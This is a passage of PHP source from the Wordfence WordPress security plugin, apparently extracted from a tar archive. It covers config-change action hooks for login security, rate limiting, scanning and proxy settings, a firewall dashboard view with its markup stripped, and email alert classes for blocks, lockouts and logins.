do_action('wordfence_updated_allowed_services', $before, $after); break; } case 'whitelistPresets': { $before = (array) wfConfig::getJSON($key, array()); $after = json_decode($newValue, true); /** * Fires when the allowed service list definitions changes. * * @since 8.0.0 * * @param array $before The previous service list definitions. * @param array $after The new service list definitions. */ do_action('wordfence_updated_allowed_services_definitions', $before, $after); break; } case 'bannedURLs': { $before = array_filter(explode("\n", wfUtils::cleanupOneEntryPerLine(wfConfig::get($key)))); $after = array_filter(explode("\n", wfUtils::cleanupOneEntryPerLine($newValue))); /** * Fires when the banned URLs list changes. * * @since 8.0.0 * * @param string[] $before The previous list. * @param string[] $after The new list. */ do_action('wordfence_updated_banned_urls', $before, $after); break; } case 'wafAlertWhitelist': { $before = array_filter(explode("\n", wfUtils::cleanupOneEntryPerLine(wfConfig::get($key)))); $after = array_filter(explode("\n", wfUtils::cleanupOneEntryPerLine($newValue))); /** * Fires when the WAF alerting ignored IP list changes. * * @since 8.0.0 * * @param string[] $before The previous list. * @param string[] $after The new list. */ do_action('wordfence_updated_ignored_alert_ips', $before, $after); break; } case 'loginSecurityEnabled': { $before = wfUtils::truthyToBoolean(wfConfig::get($key)); $after = wfUtils::truthyToBoolean($newValue); if ($before != $after) { /** * Fires when brute force protection is enabled/disabled. * * @param bool $before The previous status. * @param bool $after The new status. * @since 8.0.0 * */ do_action('wordfence_toggled_brute_force_protection', $before, $after); } break; } case 'loginSec_maxFailures': { $before = intval(wfConfig::get($key)); $after = intval($newValue); if ($before != $after) { /** * Fires when the login failure count threshold changes. * * @param int $before The previous count. * @param int $after The new count. * @since 8.0.0 * */ do_action('wordfence_updated_login_failure_count', $before, $after); } break; } case 'loginSec_maxForgotPasswd': { $before = intval(wfConfig::get($key)); $after = intval($newValue); if ($before != $after) { /** * Fires when the forgot password count threshold changes. * * @param int $before The previous count. * @param int $after The new count. * @since 8.0.0 * */ do_action('wordfence_updated_forgot_password_count', $before, $after); } break; } case 'loginSec_countFailMins': { $before = intval(wfConfig::get($key)); $after = intval($newValue); if ($before != $after) { /** * Fires when the count failures over time period value changes. * * @param int $before The previous minutes. * @param int $after The new minutes. * @since 8.0.0 * */ do_action('wordfence_updated_login_security_period', $before, $after); } break; } case 'loginSec_lockoutMins': { $before = intval(wfConfig::get($key)); $after = intval($newValue); if ($before != $after) { /** * Fires when the duration for lockout changed. * * @param int $before The previous minutes. * @param int $after The new minutes. * @since 8.0.0 * */ do_action('wordfence_updated_login_security_duration', $before, $after); } break; } case 'loginSec_lockInvalidUsers': { $before = wfUtils::truthyToBoolean(wfConfig::get($key)); $after = wfUtils::truthyToBoolean($newValue); if ($before != $after) { /** * Fires when the immediately lock out invalid usernames setting is enabled/disabled. * * @param bool $before The previous status. * @param bool $after The new status. * @since 8.0.0 * */ do_action('wordfence_toggled_lock_out_invalid', $before, $after); } break; } case 'loginSec_userBlacklist': { $before = array_filter(explode("\n", wfUtils::cleanupOneEntryPerLine(wfConfig::get($key)))); $after = array_filter(explode("\n", wfUtils::cleanupOneEntryPerLine($newValue))); /** * Fires when the banned username list changes. * * @since 8.0.0 * * @param string[] $before The previous user list. * @param string[] $after The new user list. */ do_action('wordfence_updated_banned_usernames', $before, $after); break; } case 'loginSec_breachPasswds_enabled': { $before = wfUtils::truthyToBoolean(wfConfig::get($key)); $after = wfUtils::truthyToBoolean($newValue); if ($before != $after) { /** * Fires when the breached password protection setting is enabled/disabled. * * @param bool $before The previous status. * @param bool $after The new status. * @since 8.0.0 * */ do_action('wordfence_toggled_breached_password_protection', $before, $after); } break; } case 'loginSec_strongPasswds_enabled': { $before = wfUtils::truthyToBoolean(wfConfig::get($key)); $after = wfUtils::truthyToBoolean($newValue); if ($before != $after) { /** * Fires when the enforce strong passwords setting is enabled/disabled. * * @param bool $before The previous status. * @param bool $after The new status. * @since 8.0.0 * */ do_action('wordfence_toggled_enforce_strong_passwords', $before, $after); } break; } case 'loginSec_maskLoginErrors': { $before = wfUtils::truthyToBoolean(wfConfig::get($key)); $after = wfUtils::truthyToBoolean($newValue); if ($before != $after) { /** * Fires when the mask login errors setting is enabled/disabled. * * @param bool $before The previous status. * @param bool $after The new status. * @since 8.0.0 * */ do_action('wordfence_toggled_mask_login_errors', $before, $after); } break; } case 'loginSec_blockAdminReg': { $before = wfUtils::truthyToBoolean(wfConfig::get($key)); $after = wfUtils::truthyToBoolean($newValue); if ($before != $after) { /** * Fires when the prevent `admin` as a username during registration setting is enabled/disabled. * * @param bool $before The previous status. * @param bool $after The new status. * @since 8.0.0 * */ do_action('wordfence_toggled_prevent_admin_username', $before, $after); } break; } case 'loginSec_disableAuthorScan': { $before = wfUtils::truthyToBoolean(wfConfig::get($key)); $after = wfUtils::truthyToBoolean($newValue); if ($before != $after) { /** * Fires when the prevent discovery of usernames through a variety of endpoints setting is enabled/disabled. * * @param bool $before The previous status. * @param bool $after The new status. * @since 8.0.0 * */ do_action('wordfence_toggled_block_author_scan', $before, $after); } break; } case 'loginSec_disableApplicationPasswords': { $before = wfUtils::truthyToBoolean(wfConfig::get($key)); $after = wfUtils::truthyToBoolean($newValue); if ($before != $after) { /** * Fires when the prevent WordPress application passwords setting is enabled/disabled. * * @param bool $before The previous status. * @param bool $after The new status. * @since 8.0.0 * */ do_action('wordfence_toggled_prevent_application_passwords', $before, $after); } break; } case 'other_blockBadPOST': { $before = wfUtils::truthyToBoolean(wfConfig::get($key)); $after = wfUtils::truthyToBoolean($newValue); if ($before != $after) { /** * Fires when the block bad POST requests setting is enabled/disabled. * * @param bool $before The previous status. * @param bool $after The new status. * @since 8.0.0 * */ do_action('wordfence_toggled_block_bad_post', $before, $after); } break; } case 'blockCustomText': { $before = wfConfig::get($key); $after = $newValue; if ($before != $after) { /** * Fires when the custom block page text changes. * * @param string $before The previous text. * @param string $after The new text. * @since 8.0.0 * */ do_action('wordfence_updated_custom_block_text', $before, $after); } break; } case 'other_pwStrengthOnUpdate': { $before = wfUtils::truthyToBoolean(wfConfig::get($key)); $after = wfUtils::truthyToBoolean($newValue); if ($before != $after) { /** * Fires when the check password strength when changed setting is enabled/disabled. * * @param bool $before The previous status. * @param bool $after The new status. * @since 8.0.0 * */ do_action('wordfence_toggled_change_password_check_strength', $before, $after); } break; } case 'other_WFNet': { $before = wfUtils::truthyToBoolean(wfConfig::get($key)); $after = wfUtils::truthyToBoolean($newValue); /** * Fires when the participate in the Wordfence Security Network setting is enabled/disabled. * * @since 8.0.0 * * @param bool $before The previous status. * @param bool $after The new status. */ do_action('wordfence_toggled_participate_security_network', $before, $after); break; } case 'firewallEnabled': { $before = wfUtils::truthyToBoolean(wfConfig::get($key)); $after = wfUtils::truthyToBoolean($newValue); if ($before != $after) { /** * Fires when the rate limiting/advanced blocking setting is enabled/disabled. * * @param bool $before The previous status. * @param bool $after The new status. * @since 8.0.0 * */ do_action('wordfence_toggled_general_rate_limiting_blocking', $before, $after); } break; } case 'neverBlockBG': { $before = wfConfig::get($key); $after = $newValue; if ($before != $after) { /** * Fires when the never block crawlers setting is enabled/disabled. * * @param string $before The previous status. * @param string $after The new status. * @since 8.0.0 * */ do_action('wordfence_toggled_never_block_crawlers', $before, $after); } break; } case 'maxGlobalRequests': case 'maxGlobalRequests_action': { preg_match('/([^_]+)_?(.*)$/', $key, $matches); $stem = $matches[1]; $sub = empty($matches[2]) ? 'threshold' : $matches[2]; $before = array( 'threshold' => wfConfig::get($stem), 'action' => wfConfig::get("{$stem}_action"), ); $after = $before; switch ($sub) { case 'threshold': $after[$sub] = $newValue; break; case 'action': $after[$sub] = $newValue; break; } if ($before != $after) { /** * Fires when the max global requests rate limit setting changes. * * @since 8.0.0 * * @param array $before { * The previous setting value. * * @type int|string $threshold The number of requests before the rate limit is enforced * @type string $action The action taken when enforcing the rate limit * } * @param array $after { * The new setting value. * * @type int|string $threshold The number of requests before the rate limit is enforced * @type string $action The action taken when enforcing the rate limit * } */ do_action('wordfence_updated_max_global_requests', $before, $after); } break; } case 'maxRequestsCrawlers': case 'maxRequestsCrawlers_action': { preg_match('/([^_]+)_?(.*)$/', $key, $matches); $stem = $matches[1]; $sub = empty($matches[2]) ? 'threshold' : $matches[2]; $before = array( 'threshold' => wfConfig::get($stem), 'action' => wfConfig::get("{$stem}_action"), ); $after = $before; switch ($sub) { case 'threshold': $after[$sub] = $newValue; break; case 'action': $after[$sub] = $newValue; break; } if ($before != $after) { /** * Fires when the max crawler requests rate limit setting changes. * * @since 8.0.0 * * @param array $before { * The previous setting value. * * @type int|string $threshold The number of requests before the rate limit is enforced * @type string $action The action taken when enforcing the rate limit * } * @param array $after { * The new setting value. * * @type int|string $threshold The number of requests before the rate limit is enforced * @type string $action The action taken when enforcing the rate limit * } */ do_action('wordfence_updated_max_crawler_requests', $before, $after); } break; } case 'max404Crawlers': case 'max404Crawlers_action': { preg_match('/([^_]+)_?(.*)$/', $key, $matches); $stem = $matches[1]; $sub = empty($matches[2]) ? 'threshold' : $matches[2]; $before = array( 'threshold' => wfConfig::get($stem), 'action' => wfConfig::get("{$stem}_action"), ); $after = $before; switch ($sub) { case 'threshold': $after[$sub] = $newValue; break; case 'action': $after[$sub] = $newValue; break; } if ($before != $after) { /** * Fires when the max crawler 404s rate limit changes. * * @since 8.0.0 * * @param array $before { * The previous setting value. * * @type int|string $threshold The number of requests before the rate limit is enforced * @type string $action The action taken when enforcing the rate limit * } * @param array $after { * The new setting value. * * @type int|string $threshold The number of requests before the rate limit is enforced * @type string $action The action taken when enforcing the rate limit * } */ do_action('wordfence_updated_max_crawler_404', $before, $after); } break; } case 'maxRequestsHumans': case 'maxRequestsHumans_action': { preg_match('/([^_]+)_?(.*)$/', $key, $matches); $stem = $matches[1]; $sub = empty($matches[2]) ? 'threshold' : $matches[2]; $before = array( 'threshold' => wfConfig::get($stem), 'action' => wfConfig::get("{$stem}_action"), ); $after = $before; switch ($sub) { case 'threshold': $after[$sub] = $newValue; break; case 'action': $after[$sub] = $newValue; break; } if ($before != $after) { /** * Fires when the max human requests rate limit changes. * * @since 8.0.0 * * @param array $before { * The previous setting value. * * @type int|string $threshold The number of requests before the rate limit is enforced * @type string $action The action taken when enforcing the rate limit * } * @param array $after { * The new setting value. * * @type int|string $threshold The number of requests before the rate limit is enforced * @type string $action The action taken when enforcing the rate limit * } */ do_action('wordfence_updated_max_human_requests', $before, $after); } break; } case 'max404Humans': case 'max404Humans_action': { preg_match('/([^_]+)_?(.*)$/', $key, $matches); $stem = $matches[1]; $sub = empty($matches[2]) ? 'threshold' : $matches[2]; $before = array( 'threshold' => wfConfig::get($stem), 'action' => wfConfig::get("{$stem}_action"), ); $after = $before; switch ($sub) { case 'threshold': $after[$sub] = $newValue; break; case 'action': $after[$sub] = $newValue; break; } if ($before != $after) { /** * Fires when the max human 404s rate limit changes. * * @since 8.0.0 * * @param array $before { * The previous setting value. * * @type int|string $threshold The number of requests before the rate limit is enforced * @type string $action The action taken when enforcing the rate limit * } * @param array $after { * The new setting value. * * @type int|string $threshold The number of requests before the rate limit is enforced * @type string $action The action taken when enforcing the rate limit * } */ do_action('wordfence_updated_max_human_404', $before, $after); } break; } case 'blockedTime': { $before = intval(wfConfig::get($key)); $after = intval($newValue); if ($before != $after) { /** * Fires when the block duration changes. * * @param int $before The previous value. * @param int $after The new value. * @since 8.0.0 * */ do_action('wordfence_updated_block_duration', $before, $after); } break; } case 'allowed404s': { $before = array_filter(preg_split('/[\r\n]+/', wfConfig::get($key))); $after = array_filter(preg_split('/[\r\n]+/', $newValue)); /** * Fires when the allowed 404 URL list changes. * * @since 8.0.0 * * @param string[] $before The previous list. * @param string[] $after The new list. */ do_action('wordfence_updated_allowed_404', $before, $after); break; } case 'scansEnabled_checkGSB': case 'spamvertizeCheck': case 'checkSpamIP': case 'scansEnabled_checkHowGetIPs': case 'scansEnabled_checkReadableConfig': case 'scansEnabled_suspectedFiles': case 'scansEnabled_core': case 'scansEnabled_themes': case 'scansEnabled_plugins': case 'scansEnabled_coreUnknown': case 'scansEnabled_malware': case 'scansEnabled_fileContents': case 'scansEnabled_fileContentsGSB': case 'scansEnabled_posts': case 'scansEnabled_comments': case 'scansEnabled_suspiciousOptions': case 'scansEnabled_oldVersions': case 'scansEnabled_suspiciousAdminUsers': case 'scansEnabled_passwds': case 'scansEnabled_diskSpace': case 'scansEnabled_wafStatus': case 'other_scanOutside': case 'scansEnabled_scanImages': case 'lowResourceScansEnabled': case 'scan_maxIssues': case 'scan_maxDuration': case 'maxMem': case 'maxExecutionTime': case 'scan_exclude': case 'scan_include_extra': case 'scan_force_ipv4_start': case 'scan_max_resume_attempts': { $options = array( 'scansEnabled_checkGSB' => self::TYPE_BOOL, 'spamvertizeCheck' => self::TYPE_BOOL, 'checkSpamIP' => self::TYPE_BOOL, 'scansEnabled_checkHowGetIPs' => self::TYPE_BOOL, 'scansEnabled_checkReadableConfig' => self::TYPE_BOOL, 'scansEnabled_suspectedFiles' => self::TYPE_BOOL, 'scansEnabled_core' => self::TYPE_BOOL, 'scansEnabled_themes' => self::TYPE_BOOL, 'scansEnabled_plugins' => self::TYPE_BOOL, 'scansEnabled_coreUnknown' => self::TYPE_BOOL, 'scansEnabled_malware' => self::TYPE_BOOL, 'scansEnabled_fileContents' => self::TYPE_BOOL, 'scansEnabled_fileContentsGSB' => self::TYPE_BOOL, 'scansEnabled_posts' => self::TYPE_BOOL, 'scansEnabled_comments' => self::TYPE_BOOL, 'scansEnabled_suspiciousOptions' => self::TYPE_BOOL, 'scansEnabled_oldVersions' => self::TYPE_BOOL, 'scansEnabled_suspiciousAdminUsers' => self::TYPE_BOOL, 'scansEnabled_passwds' => self::TYPE_BOOL, 'scansEnabled_diskSpace' => self::TYPE_BOOL, 'scansEnabled_wafStatus' => self::TYPE_BOOL, 'other_scanOutside' => self::TYPE_BOOL, 'scansEnabled_scanImages' => self::TYPE_BOOL, 'lowResourceScansEnabled' => self::TYPE_BOOL, 'scan_maxIssues' => self::TYPE_INT, 'scan_maxDuration' => self::TYPE_INT, 'maxMem' => self::TYPE_INT, 'maxExecutionTime' => self::TYPE_INT, 'scan_exclude' => self::TYPE_MULTI_STRING, 'scan_include_extra' => self::TYPE_MULTI_STRING, 'scan_force_ipv4_start' => self::TYPE_BOOL, 'scan_max_resume_attempts' => self::TYPE_INT, ); $before = array(); $after = array(); foreach ($options as $k => $t) { $rawBefore = wfConfig::get($k); $rawAfter = ($key == $k ? $newValue : $rawBefore); switch ($t) { //Not all types are implemented -- only those that we use in the array above case self::TYPE_BOOL: $before[$k] = wfUtils::truthyToBoolean($rawBefore); $after[$k] = wfUtils::truthyToBoolean($rawAfter); break; case self::TYPE_INT: $before[$k] = intval($rawBefore); $after[$k] = intval($rawAfter); break; case self::TYPE_STRING: $before[$k] = $rawBefore; $after[$k] = $rawAfter; break; case self::TYPE_MULTI_STRING: $before[$k] = array_filter(preg_split('/[\r\n]+/', $rawBefore)); $after[$k] = array_filter(preg_split('/[\r\n]+/', $rawAfter)); break; } } if ($before != $after) { /** * Fires when the scan options change. This may be called multiple times if multiple options are * changed (once each). * * @since 8.0.0 * * @param string[] $before The previous options. * @param string[] $after The new options. */ do_action('wordfence_updated_scan_options', $before, $after); } break; } case 'scheduledScansEnabled': case 'schedMode': case 'manualScanType': case 'schedStartHour': case 'scanSched': { $options = array( 'scheduledScansEnabled' => self::TYPE_BOOL, 'schedMode' => self::TYPE_STRING, 'manualScanType' => self::TYPE_STRING, 'schedStartHour' => self::TYPE_INT, 'scanSched' => self::TYPE_ARRAY, ); $before = array(); $after = array(); foreach ($options as $k => $t) { switch ($t) { //Not all types are implemented -- only those that we use in the array above case self::TYPE_BOOL: $rawBefore = wfConfig::get($k); $rawAfter = ($key == $k ? $newValue : $rawBefore); $before[$k] = wfUtils::truthyToBoolean($rawBefore); $after[$k] = wfUtils::truthyToBoolean($rawAfter); break; case self::TYPE_INT: $rawBefore = wfConfig::get($k); $rawAfter = ($key == $k ? $newValue : $rawBefore); $before[$k] = intval($rawBefore); $after[$k] = intval($rawAfter); break; case self::TYPE_STRING: $rawBefore = wfConfig::get($k); $rawAfter = ($key == $k ? $newValue : $rawBefore); $before[$k] = $rawBefore; $after[$k] = $rawAfter; break; case self::TYPE_ARRAY: $rawBefore = wfConfig::get_ser($k, array()); $rawAfter = ($key == $k ? $newValue : $rawBefore); $before[$k] = $rawBefore; $after[$k] = $rawAfter; break; } } if ($before != $after) { /** * Fires when the scan scheduling change. This may be called multiple times if multiple options are * changed (once each). * * @since 8.0.0 * * @param string[] $before The previous schedule/options. * @param string[] $after The new schedule/options. */ do_action('wordfence_updated_scan_schedule', $before, $after); } break; } case 'cbl_loggedInBlocked': case 'cbl_action': case 'cbl_redirURL': case 'cbl_bypassRedirURL': case 'cbl_bypassRedirDest': case 'cbl_bypassViewURL': { $block = wfUtils::array_first(wfBlock::countryBlocks(true)); /** @var wfBlock $block */ $before = array( 'parameters' => $block ? $block->parameters : null, 'bypass' => array( 'cbl_loggedInBlocked' => wfConfig::get('cbl_loggedInBlocked', false), 'cbl_action' => wfConfig::get('cbl_action'), 'cbl_redirURL' => wfConfig::get('cbl_redirURL', ''), 'cbl_bypassRedirURL' => wfConfig::get('cbl_bypassRedirURL', ''), 'cbl_bypassRedirDest' => wfConfig::get('cbl_bypassRedirDest', ''), 'cbl_bypassViewURL' => wfConfig::get('cbl_bypassViewURL', ''), ), ); $after = $before; $after['bypass'][$key] = $newValue; /** * @see wfBlock::createCountry() */ do_action('wordfence_updated_country_blocking', $before, $after); break; } case 'auditLogMode': { $before = wfConfig::get($key); $after = $newValue; if ($before != $after) { /** * Fires when the audit log recording mode changes. * * @since 8.0.0 * * @param string $before The previous status. * @param string $after The new status. */ do_action('wordfence_changed_audit_log_mode', $before, $after); } break; } case 'apiKey': { $before = wfConfig::get($key); $after = $newValue; if ($before != $after) { /** * Fires when the license key changes. * * @since 8.0.0 * * @param string $before The previous key. * @param string $after The new key. */ do_action('wordfence_changed_license_key', $before, $after); } break; } case 'howGetIPs': { $before = wfConfig::get($key); $after = $newValue; if ($before != $after) { /** * Fires when the IP source changes. * * @since 8.0.0 * * @param string $before The previous value. * @param string $after The new value. */ do_action('wordfence_changed_ip_source', $before, $after); } break; } case 'howGetIPs_trusted_proxies': { $before = array_filter(preg_split('/[\r\n]+/', wfConfig::get($key))); $after = array_filter(preg_split('/[\r\n]+/', $newValue)); if (!(count($before) == count($after) && empty(array_diff($before, $after)))) { /** * Fires when the trusted proxy list changes. * * @since 8.0.0 * * @param string[] $before The previous list. * @param string[] $after The new list. */ do_action('wordfence_updated_trusted_proxies', $before, $after); } break; } case 'howGetIPs_trusted_proxy_preset': { $before = wfConfig::get($key); $after = $newValue; if ($before != $after) { /** * Fires when the trusted proxy preset changes. * * @since 8.0.0 * * @param string $before The previous value. * @param string $after The new value. */ do_action('wordfence_changed_trusted_proxy_preset', $before, $after); } break; } case 'ipResolutionList': { $before = (array) wfConfig::getJSON($key, array()); $after = json_decode($newValue, true); /** * Fires when the trusted proxy list definitions changes. * * @since 8.0.0 * * @param array $before The previous definitions. * @param array $after The new definitions. */ do_action('wordfence_updated_trusted_proxy_preset_definitions', $before, $after); break; } } } } class wfConfigException extends Exception {}menu_firewall_waf.php000064400000047733147206764270011000 0ustar00countriesNetwork); $firewall = new wfFirewall(); $config = $waf->getStorageEngine(); $wafConfigURL = network_admin_url('admin.php?page=WordfenceWAF&subpage=waf_options#configureAutoPrepend'); $wafRemoveURL = network_admin_url('admin.php?page=WordfenceWAF&subpage=waf_options#removeAutoPrepend'); /** @var array $wafData */ ?>
  • $firewall, 'dashboard' => $d, ))->render(); ?>
    • 'waf-coverage', 'percentage' => $firewall->wafStatus(), 'activeColor' => ($firewall->firewallMode() == wfFirewall::FIREWALL_MODE_LEARNING ? '#ececec' : null /* automatic */), 'title' => __('Web Application Firewall', 'wordfence'), 'subtitle' => ($firewall->firewallMode() == wfFirewall::FIREWALL_MODE_LEARNING ? __('Currently in Learning Mode', 'wordfence') : __('Stops Complex Attacks', 'wordfence')), 'link' => $optionsURL, 'linkLabel' => __('Manage WAF', 'wordfence'), 'statusTitle' => __('Web Application Firewall Status', 'wordfence'), 'statusList' => $firewall->wafStatusList(), 'statusExtra' => ($firewall->firewallMode() == wfFirewall::FIREWALL_MODE_LEARNING ? wfView::create('waf/status-tooltip-learning-mode')->render() : ''), 'helpLink' => __('https://www.wordfence.com/help/firewall/#firewall-status', 'wordfence'), ))->render(); ?>
    • 'waf-rules', 'percentage' => $firewall->ruleStatus(), 'activeColor' => ($firewall->firewallMode() == wfFirewall::FIREWALL_MODE_LEARNING ? '#ececec' : null /* automatic */), 'title' => __('Firewall Rules: ', 'wordfence') . ($firewall->ruleMode() == wfFirewall::RULE_MODE_PREMIUM ? __('Premium', 'wordfence') : __('Community', 'wordfence')), 'subtitle' => ($firewall->firewallMode() == wfFirewall::FIREWALL_MODE_LEARNING ? __('Currently in Learning Mode', 'wordfence') : ($firewall->ruleMode() == wfFirewall::RULE_MODE_PREMIUM ? __('Rules updated in real-time', 'wordfence') : __('Rule updates delayed by 30 days', 'wordfence'))), 'link' => ($firewall->ruleMode() == wfFirewall::RULE_MODE_PREMIUM ? $optionsURL . '#waf-options-advanced' : 'https://www.wordfence.com/gnl1wafUpgrade/wordfence-signup/'), 'linkLabel' => ($firewall->ruleMode() == wfFirewall::RULE_MODE_PREMIUM ? __('Manage Firewall Rules', 'wordfence') : __('Upgrade to Premium', 'wordfence')), 'linkNewWindow' => ($firewall->ruleMode() != wfFirewall::RULE_MODE_PREMIUM), 'statusTitle' => __('Firewall Rules Status', 'wordfence'), 'statusList' => $firewall->wafStatusList('rules'), 'statusExtra' => ($firewall->firewallMode() == wfFirewall::FIREWALL_MODE_LEARNING ? wfView::create('waf/status-tooltip-learning-mode')->render() : ''), 'helpLink' => __('https://www.wordfence.com/help/firewall/#firewall-status', 'wordfence'), ))->render(); ?>
    • 'waf-blacklist', 'percentage' => $firewall->blacklistStatus(), 'title' => __('Real-Time IP Blocklist: ', 'wordfence') . ($firewall->blacklistMode() == wfFirewall::BLACKLIST_MODE_ENABLED ? __('Enabled', 'wordfence') : __('Disabled', 'wordfence')), 'subtitle' => __('Blocks requests from known malicious IPs', 'wordfence'), 'link' => (($firewall->ruleMode() == wfFirewall::RULE_MODE_PREMIUM) ? network_admin_url('admin.php?page=WordfenceWAF&subpage=waf_options') : 'https://www.wordfence.com/gnl1wafUpgrade/wordfence-signup/'), 'linkLabel' => $firewall->firewallMode() == wfFirewall::FIREWALL_MODE_DISABLED ? null : ($firewall->ruleMode() == wfFirewall::RULE_MODE_PREMIUM ? ($firewall->blacklistMode() == wfFirewall::BLACKLIST_MODE_ENABLED ? __('Manage Real-Time IP Blocklist', 'wordfence') : ($firewall->isSubDirectoryInstallation() ? null : __('Enable', 'wordfence'))) : __('Upgrade to Premium', 'wordfence')), 'linkNewWindow' => ($firewall->ruleMode() != wfFirewall::RULE_MODE_PREMIUM), 'statusTitle' => __('Blocklist Status', 'wordfence'), 'statusList' => $firewall->wafStatusList('blacklist'), 'helpLink' => __('https://www.wordfence.com/help/firewall/#firewall-status', 'wordfence'), ))->render(); if ($firewall->ruleMode() == wfFirewall::RULE_MODE_PREMIUM && $firewall->blacklistMode() == wfFirewall::BLACKLIST_MODE_DISABLED): ?>
    • 'waf-brute', 'percentage' => $firewall->bruteForceStatus(), 'title' => __('Brute Force Protection', 'wordfence') . ($firewall->bruteForceStatus() == 0 ? __(': Disabled', 'wordfence') : ''), 'subtitle' => __('Stops Password Guessing Attacks', 'wordfence'), 'link' => network_admin_url('admin.php?page=WordfenceWAF&subpage=waf_options#waf-options-bruteforce'), 'linkLabel' => __('Manage Brute Force Protection', 'wordfence'), 'statusTitle' => __('Brute Force Protection Status', 'wordfence'), 'statusList' => $firewall->bruteForceStatusList(), 'helpLink' => __('https://www.wordfence.com/help/firewall/#firewall-status', 'wordfence'), ))->render(); ?>
    • 'waf-option-rate-limiting', 'img' => 'ratelimiting.svg', 'title' => __('Rate Limiting', 'wordfence'), 'subtitle' => __('Block crawlers that are using too many resources or stealing content', 'wordfence'), 'link' => network_admin_url('admin.php?page=WordfenceWAF&subpage=waf_options#waf-options-ratelimiting'), ))->render(); ?>
    • 'waf-option-blocking', 'img' => 'blocking.svg', 'title' => __('Blocking', 'wordfence'), 'subtitle' => __('Block traffic by country, IP, IP range, user agent, referrer, or hostname', 'wordfence'), 'link' => '#top#blocking', ))->render(); ?>
    • 'waf-option-support', 'img' => 'support.svg', 'title' => __('Help', 'wordfence'), 'subtitle' => __('Find the documentation and help you need', 'wordfence'), 'link' => network_admin_url('admin.php?page=WordfenceSupport'), ))->render(); ?>
    • 'waf-option-all-options', 'img' => 'options.svg', 'title' => __('All Firewall Options', 'wordfence'), 'subtitle' => __('Manage global and advanced firewall options', 'wordfence'), 'link' => network_admin_url('admin.php?page=WordfenceWAF&subpage=waf_options'), ))->render(); ?>
wfAlerts.php000064400000016575147206764270007101 0ustar00IP = $IP; $this->reason = $reason; $this->secsToGo = $secsToGo; } public function send() { if (wfConfig::get('alertOn_block')) { $message = sprintf(/* translators: IP address. */ __('Wordfence has blocked IP address %s.', 'wordfence'), $this->IP) . "\n"; $message .= sprintf(/* translators: Description of firewall action. */ __('The reason is: "%s".', 'wordfence'), $this->reason); if ($this->secsToGo > 0) { $message .= "\n" . sprintf(/* translators: Time until. */ __('The duration of the block is %s.', 'wordfence'), wfUtils::makeDuration($this->secsToGo, true)); } wordfence::alert(sprintf(/* translators: IP address. */__('Blocking IP %s', 'wordfence'), $this->IP), $message, $this->IP); } } } class wfAutoUpdatedAlert extends wfBaseAlert { private $version; /** * @param $version */ public function __construct($version) { $this->version = $version; } public function send() { if (wfConfig::get('alertOn_update') == '1' && $this->version) { wordfence::alert(sprintf(/* translators: Software version. */ __("Wordfence Upgraded to version %s", 'wordfence'), $this->version), sprintf(/* translators: Software version. */ __("Your Wordfence installation has been upgraded to version %s", 'wordfence'), $this->version), false); } } } class wfWafDeactivatedAlert extends wfBaseAlert { private $username; private $IP; /** * @param $username * @param $IP */ public function __construct($username, $IP) { $this->username = $username; $this->IP = $IP; } public function send() { if (wfConfig::get('alertOn_wafDeactivated')) { wordfence::alert(__('Wordfence WAF Deactivated', 'wordfence'), sprintf(/* translators: WP username. */__('A user with username "%s" deactivated the Wordfence Web Application Firewall on your WordPress site.', 'wordfence'), $this->username), $this->IP); } } } class wfWordfenceDeactivatedAlert extends wfBaseAlert { private $username; private $IP; /** * @param $username * @param $IP */ public function __construct($username, $IP) { $this->username = $username; $this->IP = $IP; } public function send() { if (wfConfig::get('alertOn_wordfenceDeactivated')) { wordfence::alert(__("Wordfence Deactivated", 'wordfence'), sprintf(/* translators: WP username. */ __("A user with username \"%s\" deactivated Wordfence on your WordPress site.", 'wordfence'), $this->username), $this->IP); } } } class wfLostPasswdFormAlert extends wfBaseAlert { private $user; private $IP; /** * @param $user * @param $IP */ public function __construct($user, $IP) { $this->user = $user; $this->IP = $IP; } public function send() { if (wfConfig::get('alertOn_lostPasswdForm')) { wordfence::alert(__("Password recovery attempted", 'wordfence'), sprintf(/* translators: Email address. */__("Someone tried to recover the password for user with email address: %s", 'wordfence'), wp_kses($this->user->user_email, array())), $this->IP); } } } class wfLoginLockoutAlert extends wfBaseAlert { private $IP; private $reason; /** * @param $IP * @param $reason */ public function __construct($IP, $reason) { $this->IP = $IP; $this->reason = $reason; } public function send() { if (wfConfig::get('alertOn_loginLockout')) { $message = sprintf( /* translators: 1. IP address. 2. Description of firewall action. */ __('A user with IP address %1$s has been locked out from signing in or using the password recovery form for the following reason: %2$s.', 'wordfence'), $this->IP, $this->reason); if (wfBlock::lockoutDuration() > 0) { $message .= "\n" . sprintf(/* translators: Time until. */ __('The duration of the lockout is %s.', 'wordfence'), wfUtils::makeDuration(wfBlock::lockoutDuration(), true)); } wordfence::alert(__('User locked out from signing in', 'wordfence'), $message, $this->IP); } } } class wfAdminLoginAlert extends wfBaseAlert { private $cookieName; private $username; private $IP; private $cookieValue; /** * @param $cookieName * @param $cookieValue * @param $username * @param $IP */ public function __construct($cookieName, $cookieValue, $username, $IP) { $this->cookieName = $cookieName; $this->cookieValue = $cookieValue; $this->username = $username; $this->IP = $IP; } public function send() { if (wfConfig::get('alertOn_adminLogin')) { $shouldAlert = true; if (wfConfig::get('alertOn_firstAdminLoginOnly') && isset($_COOKIE[$this->cookieName])) { $shouldAlert = !hash_equals($this->cookieValue, $_COOKIE[$this->cookieName]); } if ($shouldAlert) { wordfence::alert(__("Admin Login", 'wordfence'), sprintf(/* translators: WP username. */ __("A user with username \"%s\" who has administrator access signed in to your WordPress site.", 'wordfence'), $this->username), $this->IP); } } } } class wfNonAdminLoginAlert extends wfBaseAlert { private $cookieName; private $username; private $IP; private $cookieValue; /** * @param $cookieName * @param $cookieValue * @param $username * @param $IP */ public function __construct($cookieName, $cookieValue, $username, $IP) { $this->cookieName = $cookieName; $this->cookieValue = $cookieValue; $this->username = $username; $this->IP = $IP; } public function send() { if (wfConfig::get('alertOn_nonAdminLogin')) { $shouldAlert = true; if (wfConfig::get('alertOn_firstNonAdminLoginOnly') && isset($_COOKIE[$this->cookieName])) { $shouldAlert = !hash_equals($this->cookieValue, $_COOKIE[$this->cookieName]); } if ($shouldAlert) { wordfence::alert(__("User login", 'wordfence'), sprintf(/* translators: WP username. */ __("A non-admin user with username \"%s\" signed in to your WordPress site.", 'wordfence'), $this->username), $this->IP); } } } } class wfBreachLoginAlert extends wfBaseAlert { private $username; private $lostPasswordUrl; private $supportUrl; private $IP; /** * @param $username * @param $lostPasswordUrl * @param $supportUrl * @param $IP */ public function __construct($username, $lostPasswordUrl, $supportUrl, $IP) { $this->username = $username; 